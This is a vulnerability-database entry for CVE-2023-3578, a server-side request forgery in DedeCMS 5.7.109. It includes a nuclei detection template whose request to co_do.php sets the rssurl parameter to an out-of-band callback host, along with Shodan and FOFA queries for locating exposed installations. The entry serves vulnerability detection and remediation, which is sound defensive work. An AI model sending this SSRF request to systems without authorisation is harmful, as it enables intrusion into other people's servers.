HexBrain

Browse / CVEs / CVE-2023-3578

CVE-2023-3578· dedecms / dedecms· CWE-918

DedeCMS 5.7.109 - Server-Side Request Forgery

criticalseverity
9.8CVSS score
3.6%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Manipulation of the rssurl parameter in co_do.php leads to server-side request forgery in DedeCMS version 5.7.109.

Impact

Successful exploitation could lead to sensitive data exposure, server-side request forgery, and potential server compromise.

Fix

Apply the vendor-supplied patch or update to a non-vulnerable version of DedeCMS.

How to confirm it

Send: GET /
Positive when: contains in response "DedeCms"
Send: GET /co_do.php?rssurl=https://{{interactsh-url}}
Positive when: contains in interactsh_protocol "dns" or "http"

Run it with nuclei: nuclei -id CVE-2023-3578 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-3578

info:
  name: DedeCMS 5.7.109 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    Manipulation of the rssurl parameter in co_do.php leads to server-side request forgery in DedeCMS version 5.7.109.
  impact: |
    Successful exploitation could lead to sensitive data exposure, server-side request forgery, and potential server compromise.
  remediation: |
    Apply the vendor-supplied patch or update to a non-vulnerable version of DedeCMS.
  reference:
    - https://github.com/nightcloudos/cve/blob/main/SSRF.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3578
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3578
    cwe-id: CWE-918
    epss-score: 0.0357
    epss-percentile: 0.89458
    cpe: cpe:2.3:a:dedecms:dedecms:5.7.109:*:*:*:*:*:*:*
  metadata:
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"DedeCms"
    fofa-query: app="DedeCMS"
  tags: cve,cve2023,dedecms,ssrf,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: response
        words:
          - "DedeCms"
        case-insensitive: true
        internal: true

  - raw:
      - |
        GET /co_do.php?rssurl=https://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from